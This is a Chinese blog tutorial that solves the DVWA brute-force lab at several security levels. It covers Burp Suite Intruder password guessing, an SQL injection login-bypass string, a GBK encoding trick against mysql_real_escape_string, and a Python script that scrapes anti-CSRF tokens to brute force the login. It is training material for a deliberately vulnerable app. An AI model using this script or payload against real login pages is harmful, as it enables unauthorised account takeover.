burpsuite Brute Force DVWA

送分小仙女□ 提交于 2020-09-30 00:48:15

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是Brute Force、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

DVWA的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

Brute Force,即BF,是指利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击。

low难度

增加概率,多次重试

首先拦截登录请求:
proxy
Ctrl+L发送到Intruder:
intruder
要爆破的是password,所以把password的值用$包起来,当作Payload Set:
点击右侧的clear § ,清除自动参数,选择12345678后点击add §
1
加载一个密码库,开始:






2
查看attack结果,按照返回内容长度排序,会发现有一个不一样的,那个就是答案:
1
1


另外一种方法:sql注入

用户名输入:admin' or 1='1admin' #
1

Medium难度

主要是增加了mysql_real_escape_string过滤了特殊字符,如x00 \n \r ' " x1a转义。
MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对 单引号的转义。

High难度

加入了Anti-CSRFtoken预防无脑爆破,可以抵御CSRF攻击,增加了BF(Brute Force)的难度。

bp就不能很方便的加载payload了,需要用到Python:

from bs4 import BeautifulSoup
import requests

headers = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Cookie': 'security=high; PHPSESSID=lea96vhl7ammeuvevfgbf9gv41'
}

s = requests.session()
index_url = "http://test/DVWA-2.0/vulnerabilities/brute/index.php"
for line in open("top1000_passwords.txt"):
    res = s.get(url=index_url, headers=headers)
    soup = BeautifulSoup(res.content, "html.parser")
    user_token = soup.select_one('input[name="user_token"]').get('value')
    login_url = "http://test/DVWA-2.0/vulnerabilities/brute/index.php"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token+"#"
    print(login_url)
    print('admin', line.strip())
    res = s.get(login_url, headers=headers)
    soup = BeautifulSoup(res.content, "html.parser")
    info = soup.select_one('pre').get_text()
    print(info)

1

到password报错,说明password这儿有异常,就是密码了。

impossible

impossible难度模式下加入了PDO占位符重试限制,安全性大大加强。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!